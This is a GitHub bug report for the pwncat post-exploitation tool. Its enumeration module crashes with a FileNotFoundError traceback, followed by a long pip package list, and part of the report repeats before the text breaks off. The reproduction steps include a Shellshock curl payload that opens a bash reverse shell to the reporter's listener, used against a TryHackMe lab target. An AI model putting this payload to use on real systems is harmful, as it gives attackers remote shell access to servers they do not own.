Closed Terraminator closed 1 year ago
When I run enumerate, i get this message and the enumeration aborts: (local) pwncat$ run enumerate ╭───────────────────── Traceback (most recent call last) ──────────────────────╮ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/linux.py:1828 │ │ in abspath │ │ │ │ 1825 │ │ """Attempt to resolve a path to an absolute path""" │ │ 1826 │ │ │ │ 1827 │ │ try: │ │ ❱ 1828 │ │ │ result = self.run( │ │ 1829 │ │ │ │ ["realpath", path], capture_output=True, text=True, c │ │ 1830 │ │ │ ) │ │ 1831 │ │ │ return result.stdout.rstrip("\n") │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/init.py:80 │ │ 7 in run │ │ │ │ 804 │ │ ) │ │ 805 │ │ │ │ 806 │ │ if check: │ │ ❱ 807 │ │ │ completed_proc.check_returncode() │ │ 808 │ │ │ │ 809 │ │ return completed_proc │ │ 810 │ │ │ │ /usr/lib/python3.9/subprocess.py:460 in check_returncode │ │ │ │ 457 │ def check_returncode(self): │ │ 458 │ │ """Raise CalledProcessError if the exit code is non-zero.""" │ │ 459 │ │ if self.returncode: │ │ ❱ 460 │ │ │ raise CalledProcessError(self.returncode, self.args, self │ │ 461 │ │ │ │ │ │ │ │ │ self.stderr) │ │ 462 │ │ 463 │ ╰──────────────────────────────────────────────────────────────────────────────╯ CalledProcessError: Command '['realpath', '.']' returned non-zero exit status 127.
The above exception was the direct cause of the following exception:
╭───────────────────── Traceback (most recent call last) ──────────────────────╮ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/commands/init.py:59 │ │ 1 in run │ │ │ │ 588 │ │ │ │ if line == "": │ │ 589 │ │ │ │ │ continue │ │ 590 │ │ │ │ │ │ ❱ 591 │ │ │ │ self.dispatch_line(line) │ │ 592 │ │ │ # We used to catch only KeyboardException, but this preve │ │ 593 │ │ │ # badly written command from completely killing our remot │ │ 594 │ │ │ # connection. │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/commands/init.py:67 │ │ 2 in dispatch_line │ │ │ │ 669 │ │ │ │ args = line │ │ 670 │ │ │ │ │ 671 │ │ │ # Run the command │ │ ❱ 672 │ │ │ command.run(self.manager, args) │ │ 673 │ │ │ │ │ 674 │ │ │ if prog_name: │ │ 675 │ │ │ │ command.parser.prog = prog_name │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/commands/run.py:67 in │ │ run │ │ │ │ 64 │ │ config_values.update(values) │ │ 65 │ │ │ │ 66 │ │ try: │ │ ❱ 67 │ │ │ result = manager.target.run(module_name, config_values) │ │ 68 │ │ │ │ │ 69 │ │ │ if args.module is not None: │ │ 70 │ │ │ │ manager.config.back() │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/manager.py:652 in run │ │ │ │ 649 │ │ if module.PLATFORM is not None and type(self.platform) not in │ │ 650 │ │ │ raise pwncat.modules.IncorrectPlatformError(module_name) │ │ 651 │ │ │ │ ❱ 652 │ │ return module.run(self, kwargs) │ │ 653 │ │ │ 654 │ def find_module(self, pattern: str, base=None, exact: bool = Fals │ │ 655 │ │ """Locate a module by a glob pattern. This is an generator │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/init.py:239 │ │ in decorator │ │ │ │ 236 │ │ │ │ │ with session.task(description=self.name, status=". │ │ 237 │ │ │ │ │ │ # Collect results │ │ 238 │ │ │ │ │ │ results = [] │ │ ❱ 239 │ │ │ │ │ │ for item in result_object: │ │ 240 │ │ │ │ │ │ │ session.update_task(task, status=item.titl │ │ 241 │ │ │ │ │ │ │ if not isinstance(item, Status): │ │ 242 │ │ │ │ │ │ │ │ results.append(item) │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/agnostic/enumer │ │ ate/gather.py:141 in run │ │ │ │ 138 │ │ │ │ │ 139 │ │ │ # Iterate over facts from the sub-module with our progress │ │ 140 │ │ │ try: │ │ ❱ 141 │ │ │ │ for item in module.run(session, types=types): │ │ 142 │ │ │ │ │ if item.type not in facts: │ │ 143 │ │ │ │ │ │ facts[item.type] = [item] │ │ 144 │ │ │ │ │ │ if output is None: │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/init.py:239 │ │ in decorator │ │ │ │ 236 │ │ │ │ │ with session.task(description=self.name, status=". │ │ 237 │ │ │ │ │ │ # Collect results │ │ 238 │ │ │ │ │ │ results = [] │ │ ❱ 239 │ │ │ │ │ │ for item in result_object: │ │ 240 │ │ │ │ │ │ │ session.update_task(task, status=item.titl │ │ 241 │ │ │ │ │ │ │ if not isinstance(item, Status): │ │ 242 │ │ │ │ │ │ │ │ results.append(item) │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/enumerate.py:25 │ │ 9 in run │ │ │ │ 256 │ │ if self._check_complete(session): │ │ 257 │ │ │ return │ │ 258 │ │ │ │ ❱ 259 │ │ for item in self.enumerate(session): │ │ 260 │ │ │ │ │ 261 │ │ │ # Allow non-fact status updates │ │ 262 │ │ │ if isinstance(item, Status): │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/linux/enumerate │ │ /misc/writable_path.py:45 in enumerate │ │ │ │ 42 │ │ │ │ │ 43 │ │ │ # See if we have write permission │ │ 44 │ │ │ if path.is_dir() and path.writable(): │ │ ❱ 45 │ │ │ │ yield WritablePath(self.name, str(path.resolve())) │ │ 46 │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/init.py:35 │ │ 1 in resolve │ │ │ │ 348 │ def resolve(self, strict: bool = False): │ │ 349 │ │ """Resolve the current path into an absolute path""" │ │ 350 │ │ │ │ ❱ 351 │ │ return self.class(self._target.abspath(str(self))) │ │ 352 │ │ │ 353 │ def rglob(self, pattern: str) -> Generator["Path", None, None]: │ │ 354 │ │ r"""This is like calling Path.glob() with "**/" added to in │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/linux.py:1833 │ │ in abspath │ │ │ │ 1830 │ │ │ ) │ │ 1831 │ │ │ return result.stdout.rstrip("\n") │ │ 1832 │ │ except CalledProcessError as exc: │ │ ❱ 1833 │ │ │ raise FileNotFoundError(path) from exc │ │ 1834 │ │ │ 1835 │ def readlink(self, path: str): │ │ 1836 │ │ """Attempt to read the target of a link""" │ ╰──────────────────────────────────────────────────────────────────────────────╯ FileNotFoundError: .
$ pwncat --version 0.5.4
## Target System (aka "victim") This bug happened on this target: https://tryhackme.com/room/0day, but the bug appears also on other systems ## Steps to Reproduce Steps to reproduce the behavior: 1. exploit the shellshock vuln like this: curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/localip/4444 0>&1' http://targetip/cgi-bin/test.cgi 2. $ pwncat-cs -l -p 4444 3. $ run enumerate 4. See the error message ## Expected Behavior I expected an enumeration process ## Screenshots If applicable, add screenshots to help explain your problem. ![image](https://user-images.githubusercontent.com/49759824/167494027-4adb949a-a376-460e-80cb-ac64a9f31d84.png) ![image](https://user-images.githubusercontent.com/49759824/167494132-5f581b15-9564-416f-bd94-58e6b0f6721d.png) ![image](https://user-images.githubusercontent.com/49759824/167494181-732f091f-06a2-455f-a581-9d0f59f9b3a1.png) ![image](https://user-images.githubusercontent.com/49759824/167494270-557151a7-0a0d-4032-9825-c4add44bf408.png) ![image](https://user-images.githubusercontent.com/49759824/167494330-3a943e38-b2a3-43ee-9066-5a29ed804a43.png) ![image](https://user-images.githubusercontent.com/49759824/167494375-a31545df-875e-4d75-9a2d-0d6ec64c1a6c.png) ![image](https://user-images.githubusercontent.com/49759824/167494422-b90cdcdc-9944-4640-bca1-416a4a5e52d6.png) ![image](https://user-images.githubusercontent.com/49759824/167494460-60b0e903-9fb6-4487-b8f3-df1a03f50569.png) ![image](https://user-images.githubusercontent.com/49759824/167494540-e18cb02b-b45c-4701-b6e8-64fed5c542fb.png) (For reading the error, please consider reading the error i posted above in the error description) ## Further information ┌─[user@parrot]─[~/Desktop/post_exploits/persistence] └──╼ $uname -a Linux parrot 5.16.0-12parrot1-amd64 #1 SMP PREEMPT Debian 5.16.12-2parrot1 (2022-03-11) x86_64 GNU/Linux ┌─[user@parrot]─[~/Desktop/post_exploits/persistence] └──╼ $python3 --version Python 3.9.2 ┌─[user@parrot]─[~/Desktop/post_exploits/persistence] └──╼ $pip freeze adal==1.2.2 adblockparser==0.7 aiodns==2.0.0 aiohttp==3.7.4 aiomultiprocess==0.8.0 aiosqlite==0.16.1 aniso8601==8.1.1 antlr4-python3-runtime==4.9.1 apparmor==2.13.6 appdirs==1.4.4 applicationinsights==0.11.9 argcomplete==1.8.1 asgiref==3.3.0 asn1crypto==1.4.0 async-timeout==3.0.1 attrs==20.3.0 avro-python3==1.10.1 awscli==1.19.1 azure-agrifood-farming==1.0.0b1 azure-ai-anomalydetector==3.0.0b6 azure-ai-formrecognizer==3.2.0b5 azure-ai-language-conversations==1.0.0b3 azure-ai-language-questionanswering==1.1.0b1 azure-ai-metricsadvisor==1.1.0 azure-ai-textanalytics==5.2.0b4 azure-ai-translation-document==1.0.0b7 azure-appconfiguration==1.4.0 azure-applicationinsights==0.1.1 azure-batch==12.0.0 azure-cli==2.35.0 azure-cli-core==2.35.0 azure-cli-telemetry==1.0.6 azure-cognitiveservices-anomalydetector==0.3.0 azure-cognitiveservices-formrecognizer==0.1.1 azure-cognitiveservices-knowledge-qnamaker==0.3.0 azure-cognitiveservices-language-luis==0.7.0 azure-cognitiveservices-language-spellcheck==2.0.0 azure-cognitiveservices-language-textanalytics==0.2.1 azure-cognitiveservices-personalizer==0.1.0 azure-cognitiveservices-search-autosuggest==0.2.0 azure-cognitiveservices-search-customimagesearch==0.2.0 azure-cognitiveservices-search-customsearch==0.3.0 azure-cognitiveservices-search-entitysearch==2.0.0 azure-cognitiveservices-search-imagesearch==2.0.0 azure-cognitiveservices-search-newssearch==2.0.0 azure-cognitiveservices-search-videosearch==2.0.0 azure-cognitiveservices-search-visualsearch==0.2.0 azure-cognitiveservices-search-websearch==2.0.0 azure-cognitiveservices-vision-computervision==0.9.0 azure-cognitiveservices-vision-contentmoderator==1.0.0 azure-cognitiveservices-vision-customvision==3.1.0 azure-cognitiveservices-vision-face==0.6.0 azure-common==1.1.29 azure-communication-chat==1.2.0 azure-communication-identity==1.2.0 azure-communication-networktraversal==1.1.0b1 azure-communication-phonenumbers==1.2.0 azure-communication-sms==1.1.0 azure-confidentialledger==1.0.0b1 azure-containerregistry==1.0.1 azure-core==1.23.2 azure-cosmos==3.1.1 azure-data-tables==12.3.0 azure-datalake-store==0.0.51 azure-devops==0.24.0 azure-digitaltwins-core==1.2.0 azure-eventgrid==4.8.0 azure-eventhub==5.9.0b3 azure-eventhub-checkpointstoreblob==1.2.0 azure-eventhub-checkpointstoreblob-aio==1.2.0 azure-eventhub-checkpointstoretable==1.0.0b1 azure-graphrbac==0.61.1 azure-identity==1.10.0b1 azure-iot-deviceupdate==1.0.0b2 azure-iot-modelsrepository==1.0.0b2 azure-keyvault==4.2.0 azure-keyvault-administration==4.1.1 azure-keyvault-certificates==4.4.1 azure-keyvault-keys==4.5.1 azure-keyvault-secrets==4.4.1 azure-loganalytics==0.1.2 azure-media-analytics-edge==1.0.0b2 azure-media-videoanalyzer-edge==1.0.0b4 azure-messaging-webpubsubservice==1.0.1 azure-mgmt-advisor==9.0.0 azure-mgmt-agfood==1.0.0b1 azure-mgmt-agrifood==1.0.0b1 azure-mgmt-alertsmanagement==1.0.0 azure-mgmt-apimanagement==3.0.0 azure-mgmt-app==1.0.0b1 azure-mgmt-appconfiguration==2.1.0b2 azure-mgmt-applicationinsights==3.0.0 azure-mgmt-appplatform==7.0.0 azure-mgmt-attestation==1.0.0 azure-mgmt-authorization==2.0.0 azure-mgmt-automanage==1.0.0b2 azure-mgmt-automation==1.1.0b1 azure-mgmt-avs==7.0.0 azure-mgmt-azureadb2c==1.0.0b1 azure-mgmt-azurearcdata==1.0.0 azure-mgmt-azurestack==1.0.0 azure-mgmt-azurestackhci==6.1.0b1 azure-mgmt-baremetalinfrastructure==1.0.0 azure-mgmt-batch==16.1.0 azure-mgmt-batchai==7.0.0b1 azure-mgmt-billing==6.0.0 azure-mgmt-botservice==2.0.0b1 azure-mgmt-cdn==12.0.0 azure-mgmt-changeanalysis==1.0.0 azure-mgmt-chaos==1.0.0b2 azure-mgmt-cognitiveservices==13.1.0 azure-mgmt-commerce==6.0.0 azure-mgmt-communication==1.1.0 azure-mgmt-compute==26.1.0 azure-mgmt-confidentialledger==1.0.0b1 azure-mgmt-confluent==2.0.0b1 azure-mgmt-connectedvmware==1.0.0b1 azure-mgmt-consumption==9.0.0 azure-mgmt-containerinstance==9.1.0 azure-mgmt-containerregistry==9.1.0 azure-mgmt-containerservice==18.0.0 azure-mgmt-core==1.3.0 azure-mgmt-cosmosdb==7.0.0b3 azure-mgmt-costmanagement==3.0.0 azure-mgmt-customproviders==1.0.0 azure-mgmt-databox==1.0.0 azure-mgmt-databoxedge==1.0.0 azure-mgmt-databricks==1.1.0b1 azure-mgmt-datadog==2.0.0 azure-mgmt-datafactory==2.3.0 azure-mgmt-datalake-store==1.0.0 azure-mgmt-datamigration==10.0.0 azure-mgmt-dataprotection==1.0.0b1 azure-mgmt-datashare==1.0.0 azure-mgmt-deploymentmanager==1.0.0 azure-mgmt-desktopvirtualization==1.0.0b1 azure-mgmt-deviceupdate==1.0.0b3 azure-mgmt-devspaces==1.0.0b1 azure-mgmt-devtestlabs==9.0.0 azure-mgmt-digitaltwins==6.1.0 azure-mgmt-dns==8.0.0 azure-mgmt-dnsresolver==1.0.0b1 azure-mgmt-documentdb==0.1.3 azure-mgmt-edgegateway==0.1.0 azure-mgmt-edgeorder==1.0.0 azure-mgmt-elastic==1.0.0 azure-mgmt-eventgrid==10.2.0b1 azure-mgmt-eventhub==10.0.0 azure-mgmt-extendedlocation==1.0.0 azure-mgmt-fluidrelay==1.0.0b1 azure-mgmt-frontdoor==1.0.1 azure-mgmt-guestconfig==1.0.0b1 azure-mgmt-hanaonazure==1.0.0 azure-mgmt-hdinsight==9.0.0 azure-mgmt-healthbot==1.0.0b1 azure-mgmt-healthcareapis==1.1.0 azure-mgmt-hybridcompute==7.0.0 azure-mgmt-hybridkubernetes==1.1.0 azure-mgmt-hybridnetwork==1.0.0 azure-mgmt-imagebuilder==1.0.0 azure-mgmt-iotcentral==9.0.0 azure-mgmt-iothub==2.2.0 azure-mgmt-iothubprovisioningservices==1.1.0 azure-mgmt-keyvault==9.3.0 azure-mgmt-kubernetesconfiguration==2.0.0 azure-mgmt-kusto==2.2.0 azure-mgmt-labservices==2.0.0b1 azure-mgmt-loadtestservice==1.0.0b1 azure-mgmt-loganalytics==13.0.0b2 azure-mgmt-logic==9.0.0 azure-mgmt-logz==1.0.0 azure-mgmt-machinelearningcompute==1.0.0b1 azure-mgmt-machinelearningservices==1.0.0 azure-mgmt-maintenance==2.1.0b1 azure-mgmt-managedservices==6.0.0 azure-mgmt-managementgroups==1.0.0 azure-mgmt-managementpartner==1.0.0 azure-mgmt-maps==2.0.0 azure-mgmt-marketplaceordering==1.1.0 azure-mgmt-media==9.0.0 azure-mgmt-mixedreality==1.0.0 azure-mgmt-mobilenetwork==1.0.0b2 azure-mgmt-monitor==3.1.0 azure-mgmt-msi==6.0.0 azure-mgmt-netapp==7.0.0 azure-mgmt-network==19.3.0 azure-mgmt-notificationhubs==8.0.0 azure-mgmt-oep==1.0.0b1 azure-mgmt-operationsmanagement==1.0.0 azure-mgmt-orbital==1.0.0b1 azure-mgmt-peering==1.0.0 azure-mgmt-policyinsights==1.1.0b2 azure-mgmt-portal==1.0.0 azure-mgmt-powerbidedicated==1.0.0 azure-mgmt-powerbiembedded==2.0.0 azure-mgmt-privatedns==1.0.0 azure-mgmt-purview==1.0.0 azure-mgmt-quantum==1.0.0b2 azure-mgmt-quota==1.0.0b2 azure-mgmt-rdbms==10.1.0 azure-mgmt-recoveryservices==2.0.0 azure-mgmt-recoveryservicesbackup==4.1.1 azure-mgmt-recoveryservicessiterecovery==1.0.0b1 azure-mgmt-redhatopenshift==1.0.0 azure-mgmt-redis==13.1.0 azure-mgmt-redisenterprise==2.0.0 azure-mgmt-regionmove==1.0.0b1 azure-mgmt-relay==1.1.0 azure-mgmt-reservations==1.0.0 azure-mgmt-resource==21.0.0 azure-mgmt-resourceconnector==1.0.0b1 azure-mgmt-resourcegraph==8.1.0b1 azure-mgmt-resourcehealth==1.0.0b1 azure-mgmt-resourcemover==1.1.0b2 azure-mgmt-scheduler==7.0.0b1 azure-mgmt-search==8.0.0 azure-mgmt-security==2.0.0b1 azure-mgmt-securityinsight==1.0.0b2 azure-mgmt-serialconsole==1.0.0 azure-mgmt-servermanager==2.0.0 azure-mgmt-servicebus==7.1.0 azure-mgmt-servicefabric==2.0.0 azure-mgmt-servicefabricmanagedclusters==1.0.0 azure-mgmt-servicelinker==1.0.0b2 azure-mgmt-signalr==1.1.0 azure-mgmt-sql==4.0.0b2 azure-mgmt-sqlvirtualmachine==1.0.0b2 azure-mgmt-storage==20.0.0 azure-mgmt-storagecache==1.2.0 azure-mgmt-storageimportexport==1.0.0b1 azure-mgmt-storagepool==1.0.0 azure-mgmt-storagesync==1.0.0 azure-mgmt-streamanalytics==1.0.0 azure-mgmt-subscription==3.0.0 azure-mgmt-support==6.0.0 azure-mgmt-synapse==2.1.0b4 azure-mgmt-testbase==1.0.0b1 azure-mgmt-timeseriesinsights==1.0.0 azure-mgmt-trafficmanager==1.0.0 azure-mgmt-videoanalyzer==1.0.0b3 azure-mgmt-vmwarecloudsimple==1.0.0b1 azure-mgmt-web==6.1.0 azure-mgmt-webpubsub==1.0.0 azure-mgmt-workloadmonitor==1.0.0b2 azure-mixedreality-authentication==1.0.0b2 azure-mixedreality-remoterendering==1.0.0b2 azure-monitor-opentelemetry-exporter==1.0.0b6 azure-monitor-query==1.0.2 azure-multiapi-storage==0.5.2 azure-purview-administration==1.0.0b2 azure-purview-catalog==1.0.0b3 azure-purview-scanning==1.0.0b3 azure-schemaregistry==1.1.0 azure-schemaregistry-avroencoder==1.0.0b4 azure-search-documents==11.3.0b9 azure-security-attestation==1.0.1 azure-servicebus==7.6.1 azure-servicefabric==8.2.0.0 azure-servicemanagement-legacy==0.20.7 azure-synapse==0.1.1 azure-synapse-accesscontrol==0.8.0 azure-synapse-artifacts==0.12.1 azure-synapse-managedprivateendpoints==0.5.0 azure-synapse-monitoring==0.3.0 azure-synapse-spark==0.8.0 azure-template==0.0.18b3 backcall==0.2.0 backdoor-factory==0.0.0 bcrypt==3.2.0 beautifulsoup4==4.9.3 binwalk==2.2.1 blinker==1.4 boto3==1.13.14 botocore==1.20.0 Brlapi==0.8.3 Brotli==1.0.9 BTrees==4.10.0 cairocffi==1.2.0 capstone==4.0.2 Cerberus==1.3.2 certifi==2020.6.20 cffi==1.14.5 chardet==4.0.0 CherryPy==8.9.1 click==7.1.2 click-plugins==1.1.1 colorama==0.4.4 commonmark==0.9.1 configobj==5.0.6 cryptography==3.3.2 cycler==0.10.0 dbus-python==1.2.16 decorator==4.4.2 defusedxml==0.6.0 Deprecated==1.2.11 dhcpig==0.0.0 dicttoxml==1.7.4 distro==1.5.0 dnslib==0.9.14 dnspython==2.0.0 docutils==0.16 EasyProcess==0.2.5 ExifRead==2.3.2 fabric==2.5.0 flasgger==0.9.5 Flask==1.1.2 Flask-HTTPAuth==3.2.4 Flask-RESTful==0.3.8 future==0.18.2 fuzzywuzzy==0.18.0 GDAL==3.2.2 GeoIP==1.3.2 geoip2==2.9.0 gevent==20.9.0 gpg===1.14.0-unknown greenlet==0.4.17 gvm-tools==21.10.0 h11==0.12.0 h2==4.0.0 hashID==3.1.4 hpack==4.0.0 html5lib==1.1 httplib2==0.18.1 humanfriendly==9.1 hyperframe==6.0.0 idna==2.10 imageio==2.4.1 impacket==0.9.22 importlib-metadata==1.6.0 instaloader==4.9b3 invoke==1.4.1 ipdb==0.13.3 ipwhois==0.15.1 ipython==7.20.0 ipython-genutils==0.2.0 isodate==0.6.0 itsdangerous==1.1.0 javaproperties==0.7.0 jedi==0.18.0 jeepney==0.6.0 Jinja2==3.1.2 jmespath==0.10.0 jsondiff==1.1.1 jsonschema==3.2.0 jupyter-core==4.7.1 kaitaistruct==0.9 keyring==22.0.1 kiwisolver==1.3.1 knack==0.9.0 ldap3==2.8.1 ldapdomaindump==0.9.3 LibAppArmor==2.13.6 logutils==0.3.3 louis==3.21.0 lxml==4.6.3 lz4==3.1.3+dfsg Mako==1.1.3 Markdown==3.3.4 MarkupSafe==2.1.1 mate-menu==20.4.1 mate-tweak==21.4.2 matplotlib==3.3.4 maxminddb==2.0.3 mechanize==0.4.5 mistune==0.8.4 mitmproxy==6.0.2 more-itertools==4.2.0 msal==1.17.0 msal-extensions==0.3.0 msgpack==1.0.0 msrest==0.6.21 msrestazure==0.6.2 multidict==5.1.0 mutagen==1.45.1 nassl==4.0.0 nbformat==5.1.2 netaddr==0.7.19 netifaces==0.11.0 networkx==2.5 nose==1.3.7 numpy==1.19.5 nyx==2.1.0 oauthlib==3.1.0 olefile==0.46 onboard==1.4.1 onionshare==2.2 ospd==21.4.4 ospd-openvas==21.4.3 packaging==20.9 paramiko==2.7.2 paramiko-ng==2.8.10 parsero==0.82 parso==0.8.1 passlib==1.7.4 pcapy==0.11.4 pefile==2019.4.18 persistent==4.9.0 pexpect==4.8.0 phonenumbers==8.12.1 pickleshare==0.7.5 Pillow==8.1.2 pkginfo==1.4.2 plotly==4.14.3 pluginbase==1.0.0 ply==3.11 portalocker==2.2.1 prettytable==0.7.2 prompt-toolkit==3.0.29 protobuf==3.20.0rc2 psutil==5.8.0 psycopg2==2.8.6 publicsuffix2==2.20191221 pwncat-cs==0.5.4 pwtools==0.4 pyasn1==0.4.8 pycairo==1.16.2 pycares==3.1.1 pycparser==2.20 pycryptodome==3.14.1 pycryptodomex==3.9.7 pycurl==7.43.0.6 pydantic==1.7.4 pydot==1.4.2 pyee==7.0.2 pyenchant==3.2.0 pygeoip==0.3.2 PyGithub==1.43.7 Pygments==2.7.1 PyGObject==3.38.0 pygraphviz==1.7 pyinotify==0.9.6 PyJWT==2.1.0 pymongo==3.11.0 pymssql==2.1.4 PyNaCl==1.4.0 pynvim==0.4.2 pyodbc==4.0.30 PyOpenGL==3.1.5 pyOpenSSL==20.0.1 pyparsing==2.4.7 PyPDF2==1.26.0 pyperclip==1.8.0 pyppeteer==0.2.5 PyQt5==5.15.2 PyQt5-sip==12.8.1 pyqtgraph==0.11.1 pyrsistent==0.15.5 pyrtlsdr==0.2.91 pyserial==3.5b0 PySimpleSOAP==1.16.2 pysmi==0.3.2 pysnmp==4.4.12 PySocks==1.7.1 python-apt==2.2.1+parrot1 python-dateutil==2.8.1 python-debian==0.1.39 python-debianbts==3.1.0 python-docx==0.8.10 python-gvm==21.10.0 python-Levenshtein==0.12.2 python-libnmap==0.7.2 python-magic==0.4.20 python-magic-ahupp==0.4.13 python-memcached==1.58 python-pptx==0.6.18 python-rapidjson==1.6 python-xapp==2.0.2 python-xlib==0.29 pytz==2021.1 pyusb==1.0.2 PyVirtualDisplay==0.2.1 pyxdg==0.27 PyYAML==5.3.1 qrcode==6.1 redis==3.5.3 reportbug==7.10.3+deb11u1 repoze.lru==0.7 requests==2.25.1 requests-futures==1.0.0 requests-oauthlib==1.0.0 requests-toolbelt==0.9.1 retrying==1.3.3 rfcat==1.9.5 rich==10.16.2 roman==2.0.0 Routes==2.5.1 rq==1.7.0 rsa==4.0 rtlsdr-scanner==1.3.2 ruamel.yaml==0.16.12 ruamel.yaml.clib==0.2.2 S3Scanner==2.0.1 s3transfer==0.3.4 scapy==2.4.4 scipy==1.6.0 scp==0.13.0 SecretStorage==3.3.1 secure==0.2.1 selenium==4.0.0a1 semver==2.10.2 setproctitle==1.2.1 sherlock==0.14.0 shodan==1.25.0 simplejson==3.17.2 six==1.16.0 sortedcontainers==2.1.0 soupsieve==2.2.1 specan==0.0.0 SQLAlchemy==1.3.22 sshtunnel==0.1.4 sslyze==5.0.3 stem==1.8.0 tabulate==0.8.7 termcolor==1.1.0 terminaltables==3.1.0 terminator==2.1.0 texttable==1.6.3 theHarvester==4.0.3 tls-parser==1.2.2 torbrowser-launcher==0.3.3 tornado==6.1 torrequest==0.1.0 tqdm==4.57.0 traitlets==5.0.5 transaction==3.0.1 typing-extensions==3.10.0.2 uamqp==1.2.13 ufw==0.36 ujson==4.0.2 unicodecsv==0.14.1 urllib3==1.26.5 urwid==2.1.2 uvloop==0.14.0 validators==0.14.2 vinetto==0.8.0 visvis==1.13.0 wafw00f==2.1.0 wcwidth==0.1.9 webencodings==0.5.1 WebOb==1.8.6 websocket-client==0.57.0 websockets==8.1 websploit==4.0.4 Werkzeug==1.0.1 wfuzz==3.1.0 whois==0.8 wifite==2.5.8 wrapt==1.12.1 wsproto==0.15.0 wxPython==4.0.7 xcffib==0.8.1 xdg==5 XlsxWriter==1.1.2 xmltodict==0.12.0 yara-python==4.0.4 yarl==1.6.3 zc.lockfile==2.0 ZConfig==3.6.0 zdaemon==4.3 ZEO==5.3.0 zipp==1.0.0 ZODB==5.7.0 ZODB3==3.11.0 zodbpickle==2.3 zodburi==2.5.0 zope.event==4.4 zope.interface==5.2.0
Bug Description
When I run enumerate, i get this message and the enumeration aborts: (local) pwncat$ run enumerate ╭───────────────────── Traceback (most recent call last) ──────────────────────╮ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/linux.py:1828 │ │ in abspath │ │ │ │ 1825 │ │ """Attempt to resolve a path to an absolute path""" │ │ 1826 │ │ │ │ 1827 │ │ try: │ │ ❱ 1828 │ │ │ result = self.run( │ │ 1829 │ │ │ │ ["realpath", path], capture_output=True, text=True, c │ │ 1830 │ │ │ ) │ │ 1831 │ │ │ return result.stdout.rstrip("\n") │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/platform/init.py:80 │ │ 7 in run │ │ │ │ 804 │ │ ) │ │ 805 │ │ │ │ 806 │ │ if check: │ │ ❱ 807 │ │ │ completed_proc.check_returncode() │ │ 808 │ │ │ │ 809 │ │ return completed_proc │ │ 810 │ │ │ │ /usr/lib/python3.9/subprocess.py:460 in check_returncode │ │ │ │ 457 │ def check_returncode(self): │ │ 458 │ │ """Raise CalledProcessError if the exit code is non-zero.""" │ │ 459 │ │ if self.returncode: │ │ ❱ 460 │ │ │ raise CalledProcessError(self.returncode, self.args, self │ │ 461 │ │ │ │ │ │ │ │ │ self.stderr) │ │ 462 │ │ 463 │ ╰──────────────────────────────────────────────────────────────────────────────╯ CalledProcessError: Command '['realpath', '.']' returned non-zero exit status 127.
The above exception was the direct cause of the following exception:
╭───────────────────── Traceback (most recent call last) ──────────────────────╮ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/commands/init.py:59 │ │ 1 in run │ │ │ │ 588 │ │ │ │ if line == "": │ │ 589 │ │ │ │ │ continue │ │ 590 │ │ │ │ │ │ ❱ 591 │ │ │ │ self.dispatch_line(line) │ │ 592 │ │ │ # We used to catch only KeyboardException, but this preve │ │ 593 │ │ │ # badly written command from completely killing our remot │ │ 594 │ │ │ # connection. │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/commands/init.py:67 │ │ 2 in dispatch_line │ │ │ │ 669 │ │ │ │ args = line │ │ 670 │ │ │ │ │ 671 │ │ │ # Run the command │ │ ❱ 672 │ │ │ command.run(self.manager, args) │ │ 673 │ │ │ │ │ 674 │ │ │ if prog_name: │ │ 675 │ │ │ │ command.parser.prog = prog_name │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/commands/run.py:67 in │ │ run │ │ │ │ 64 │ │ config_values.update(values) │ │ 65 │ │ │ │ 66 │ │ try: │ │ ❱ 67 │ │ │ result = manager.target.run(module_name, config_values) │ │ 68 │ │ │ │ │ 69 │ │ │ if args.module is not None: │ │ 70 │ │ │ │ manager.config.back() │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/manager.py:652 in run │ │ │ │ 649 │ │ if module.PLATFORM is not None and type(self.platform) not in │ │ 650 │ │ │ raise pwncat.modules.IncorrectPlatformError(module_name) │ │ 651 │ │ │ │ ❱ 652 │ │ return module.run(self, kwargs) │ │ 653 │ │ │ 654 │ def find_module(self, pattern: str, base=None, exact: bool = Fals │ │ 655 │ │ """Locate a module by a glob pattern. This is an generator │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/init.py:239 │ │ in decorator │ │ │ │ 236 │ │ │ │ │ with session.task(description=self.name, status=". │ │ 237 │ │ │ │ │ │ # Collect results │ │ 238 │ │ │ │ │ │ results = [] │ │ ❱ 239 │ │ │ │ │ │ for item in result_object: │ │ 240 │ │ │ │ │ │ │ session.update_task(task, status=item.titl │ │ 241 │ │ │ │ │ │ │ if not isinstance(item, Status): │ │ 242 │ │ │ │ │ │ │ │ results.append(item) │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/agnostic/enumer │ │ ate/gather.py:141 in run │ │ │ │ 138 │ │ │ │ │ 139 │ │ │ # Iterate over facts from the sub-module with our progress │ │ 140 │ │ │ try: │ │ ❱ 141 │ │ │ │ for item in module.run(session, types=types): │ │ 142 │ │ │ │ │ if item.type not in facts: │ │ 143 │ │ │ │ │ │ facts[item.type] = [item] │ │ 144 │ │ │ │ │ │ if output is None: │ │ │ │ /home/user/.local/lib/python3.9/site-packages/pwncat/modules/init.py:239 │ │ in decorator │ │ │ │ 236 │ │ │ │ │ with session.task(description=self.name, status=". │ │ 237 │ │ │ │ │ │ # Collect results │ │ 238 │ │ │ │ │ │ results = [] │ │ ❱ 239 │ │ │ │ │ │ for item in result_object: │ │ 240 │ │ │ │ │ │ │ session.update_task(task, status=item.titl │ │ 241 │ │ 